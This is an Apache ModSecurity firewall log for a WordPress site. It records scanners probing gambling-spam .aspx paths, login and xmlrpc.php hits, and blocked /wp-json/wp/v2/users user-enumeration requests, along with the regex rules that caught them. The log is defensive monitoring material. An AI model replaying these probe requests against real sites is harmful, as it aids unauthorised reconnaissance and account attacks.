[Tue Mar 10 09:23:07.825450 2026] [:error] [pid 31977:tid 32127] [client 178.150.14.250:41534] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aa9yey_lkX6-Mo89SmELmgAAAFY"]
[Tue Mar 10 09:23:09.836936 2026] [:error] [pid 31977:tid 32115] [client 178.150.14.250:41544] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aa9yfS_lkX6-Mo89SmELnQAAAEo"]
[Tue Mar 10 09:23:11.836973 2026] [:error] [pid 31977:tid 32119] [client 178.150.14.250:41548] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aa9yfy_lkX6-Mo89SmELowAAAE4"]
[Tue Mar 10 09:23:13.822627 2026] [:error] [pid 13407:tid 13433] [client 178.150.14.250:36672] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aa9ygdqN0GV-aESMjNys-wAAAUc"]
[Tue Mar 10 09:23:15.816584 2026] [:error] [pid 31977:tid 32110] [client 178.150.14.250:36680] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aa9ygy_lkX6-Mo89SmELqAAAAEU"]
[Tue Mar 10 09:23:17.825322 2026] [:error] [pid 31977:tid 32121] [client 178.150.14.250:36690] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aa9yhS_lkX6-Mo89SmELqgAAAFA"]
[Tue Mar 10 09:23:19.813948 2026] [:error] [pid 32295:tid 32333] [client 178.150.14.250:36698] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aa9yh4_FltxBAKWrlwjwDAAAAM8"]
[Tue Mar 10 09:23:21.803823 2026] [:error] [pid 31981:tid 32156] [client 178.150.14.250:36714] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aa9yibAfo6Bks64fCDZ4vAAAAJQ"]
[Tue Mar 10 09:23:23.811563 2026] [:error] [pid 13407:tid 13450] [client 178.150.14.250:34590] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aa9yi9qN0GV-aESMjNytEAAAAVg"]
[Tue Mar 10 09:23:25.816121 2026] [:error] [pid 32295:tid 32339] [client 178.150.14.250:34602] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aa9yjY_FltxBAKWrlwjwEAAAANU"]
[Tue Mar 10 09:23:27.803858 2026] [:error] [pid 32295:tid 32322] [client 178.150.14.250:34618] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aa9yj4_FltxBAKWrlwjwEgAAAMQ"]
[Tue Mar 10 10:32:26.510944 2026] [:error] [pid 40103:tid 40127] [client 209.235.136.150:53272] [client 209.235.136.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.235.136.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aa-CugVlXMaGjwKm8iVmLQAAANQ"]
[Tue Mar 10 10:32:31.726359 2026] [:error] [pid 40103:tid 40112] [client 209.235.136.150:53272] [client 209.235.136.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.235.136.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aa-CvwVlXMaGjwKm8iVmLgAAAMU"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 10 10:40:25.250204 2026] [:error] [pid 42730:tid 42755] [client 43.130.131.18:53230] [client 43.130.131.18] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aa-Emchla5zfkJ-81FAXLQAAAdc"]
[Tue Mar 10 11:05:48.245339 2026] [:error] [pid 42730:tid 42733] [client 103.170.123.175:46870] [client 103.170.123.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.170.123.175, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aa-KjMhla5zfkJ-81FAmHAAAAcE"]
[Tue Mar 10 11:06:01.734202 2026] [:error] [pid 42666:tid 42682] [client 103.170.123.175:54076] [client 103.170.123.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.170.123.175, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aa-KmY0d5emjo-Hs705KPgAAAQ4"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 10 11:22:03.572529 2026] [:error] [pid 39996:tid 40022] [client 51.68.234.121:36814] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aa-OW_5uf5_ai0O9BswJZwAAAAk"]
[Tue Mar 10 11:22:05.469892 2026] [:error] [pid 40200:tid 40220] [client 51.68.234.121:45724] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aa-OXcY-CxWzYOcxdukVgwAAAVI"]
[Tue Mar 10 11:22:07.330864 2026] [:error] [pid 39998:tid 40086] [client 51.68.234.121:45732] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aa-OX40j9Ehux9Dpvl85ewAAAJA"]
[Tue Mar 10 11:22:09.276901 2026] [:error] [pid 42730:tid 42739] [client 51.68.234.121:45736] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aa-OYchla5zfkJ-81FAv6gAAAcc"]
[Tue Mar 10 11:22:11.399754 2026] [:error] [pid 42730:tid 42755] [client 51.68.234.121:45742] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aa-OY8hla5zfkJ-81FAv9wAAAdc"]
[Tue Mar 10 11:22:13.538693 2026] [:error] [pid 42730:tid 42755] [client 51.68.234.121:40116] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aa-OZchla5zfkJ-81FAwAQAAAdc"]
[Tue Mar 10 11:22:15.626833 2026] [:error] [pid 42759:tid 42781] [client 51.68.234.121:40122] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aa-OZ_oOpjBGGv-2UuxWogAAAhM"]
[Tue Mar 10 11:22:17.440683 2026] [:error] [pid 42666:tid 42681] [client 51.68.234.121:40126] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aa-OaY0d5emjo-Hs705QAgAAAQ0"]
[Tue Mar 10 11:22:19.410988 2026] [:error] [pid 42730:tid 42751] [client 51.68.234.121:40132] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aa-Oa8hla5zfkJ-81FAwFgAAAdM"]
[Tue Mar 10 11:22:21.338902 2026] [:error] [pid 42666:tid 42689] [client 51.68.234.121:40144] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aa-ObY0d5emjo-Hs705QJQAAARU"]
[Tue Mar 10 11:22:23.452208 2026] [:error] [pid 40200:tid 40223] [client 51.68.234.121:55882] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aa-Ob8Y-CxWzYOcxdukVhAAAAVU"]
[Tue Mar 10 11:22:25.271249 2026] [:error] [pid 42759:tid 42765] [client 51.68.234.121:55898] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aa-OcfoOpjBGGv-2UuxWvwAAAgM"]
[Tue Mar 10 11:22:27.235856 2026] [:error] [pid 40103:tid 40124] [client 51.68.234.121:55906] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aa-OcwVlXMaGjwKm8iVq0QAAANE"]
[Tue Mar 10 11:22:29.273349 2026] [:error] [pid 39996:tid 40027] [client 51.68.234.121:55912] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aa-Odf5uf5_ai0O9BswJeQAAAA4"]
[Tue Mar 10 11:22:31.220620 2026] [:error] [pid 42730:tid 42739] [client 51.68.234.121:55914] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aa-Od8hla5zfkJ-81FAwIwAAAcc"]
[Tue Mar 10 11:22:33.045284 2026] [:error] [pid 42730:tid 42737] [client 51.68.234.121:55920] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aa-Oechla5zfkJ-81FAwJwAAAcU"]
[Tue Mar 10 11:22:50.095925 2026] [:error] [pid 42666:tid 42671] [client 103.170.123.175:35008] [client 103.170.123.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.170.123.175, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aa-Oio0d5emjo-Hs705QTAAAAQM"]
[Tue Mar 10 11:22:52.070534 2026] [:error] [pid 42666:tid 42677] [client 103.170.123.175:35008] [client 103.170.123.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.170.123.175, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aa-OjI0d5emjo-Hs705QTwAAAQk"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 10 11:46:54.152337 2026] [:error] [pid 39998:tid 40074] [client 43.166.128.86:59588] [client 43.166.128.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aa-ULo0j9Ehux9Dpvl89gAAAAIQ"]
[Tue Mar 10 12:01:15.244998 2026] [:error] [pid 42666:tid 42684] [client 49.37.159.51:56177] [client 49.37.159.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.159.51, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa-Xi40d5emjo-Hs705eSgAAARA"]
[Tue Mar 10 12:07:22.266119 2026] [:error] [pid 39998:tid 40090] [client 49.37.159.51:63614] [client 49.37.159.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.159.51, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa-Y-o0j9Ehux9Dpvl9AQAAAAJQ"]
[Tue Mar 10 12:10:41.811574 2026] [:error] [pid 39998:tid 40084] [client 49.37.159.51:62010] [client 49.37.159.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.159.51, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa-ZwY0j9Ehux9Dpvl9ArQAAAI4"]
[Tue Mar 10 12:16:25.021719 2026] [:error] [pid 42730:tid 42738] [client 49.37.159.51:63951] [client 49.37.159.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.159.51, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa-bGchla5zfkJ-81FBQCQAAAcY"]
[Tue Mar 10 12:22:55.716725 2026] [:error] [pid 42666:tid 42676] [client 49.37.159.51:60730] [client 49.37.159.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.159.51, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa-cn40d5emjo-Hs705obgAAAQg"]
[Tue Mar 10 13:13:39.978204 2026] [:error] [pid 42730:tid 42734] [client 103.251.19.25:55554] [client 103.251.19.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.251.19.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa-og8hla5zfkJ-81FBzLQAAAcI"]
[Tue Mar 10 13:15:53.593013 2026] [:error] [pid 42759:tid 42772] [client 195.231.47.218:49523] [client 195.231.47.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.231.47.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa-pCfoOpjBGGv-2Uux3JQAAAgo"]
[Tue Mar 10 13:22:47.961733 2026] [:error] [pid 42730:tid 42739] [client 103.251.19.25:55867] [client 103.251.19.25] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aa-qp8hla5zfkJ-81FB4KQAAAcc"]
[Tue Mar 10 13:24:05.271564 2026] [:error] [pid 39998:tid 40078] [client 103.251.19.25:56401] [client 103.251.19.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.251.19.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa-q9Y0j9Ehux9Dpvl9MCgAAAIg"]
[Tue Mar 10 13:25:19.856306 2026] [:error] [pid 42730:tid 42736] [client 103.251.19.25:56422] [client 103.251.19.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.251.19.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa-rP8hla5zfkJ-81FB5ugAAAcQ"]
[Tue Mar 10 13:26:32.451225 2026] [:error] [pid 42759:tid 42781] [client 103.251.19.25:56219] [client 103.251.19.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.251.19.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa-riPoOpjBGGv-2Uux7LgAAAhM"]
[Tue Mar 10 13:27:47.803162 2026] [:error] [pid 42666:tid 42686] [client 103.251.19.25:56282] [client 103.251.19.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.251.19.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa-r040d5emjo-Hs706DAAAAARI"]
[Tue Mar 10 14:49:27.812646 2026] [:error] [pid 42666:tid 42689] [client 195.231.47.218:48890] [client 195.231.47.218] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aa--940d5emjo-Hs706hOgAAARU"]
[Tue Mar 10 14:50:38.279313 2026] [:error] [pid 42730:tid 42748] [client 195.231.47.218:50023] [client 195.231.47.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.231.47.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa-_Pshla5zfkJ-81FCjUgAAAdA"]
[Tue Mar 10 14:53:57.959365 2026] [:error] [pid 2831:tid 2836] [client 195.231.47.218:34420] [client 195.231.47.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa_ABdCrV_y2ag-CM4PuiwAAAYM"]
[Tue Mar 10 14:58:04.954641 2026] [:error] [pid 21400:tid 21413] [client 195.231.47.218:48766] [client 195.231.47.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.231.47.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa_A_DCFYMzi4orNuEGe0wAAAMs"]
[Tue Mar 10 14:59:09.076311 2026] [:error] [pid 21400:tid 21403] [client 195.231.47.218:48935] [client 195.231.47.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.231.47.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa_BPTCFYMzi4orNuEGgDQAAAME"]
[Tue Mar 10 15:00:08.139651 2026] [:error] [pid 21317:tid 21364] [client 195.231.47.218:48780] [client 195.231.47.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.231.47.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa_BeFUUqcn7vK991D11bwAAAFE"]
[Tue Mar 10 15:01:24.975657 2026] [:error] [pid 21400:tid 21407] [client 195.231.47.218:48444] [client 195.231.47.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.231.47.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa_BxDCFYMzi4orNuEGiJgAAAMU"]
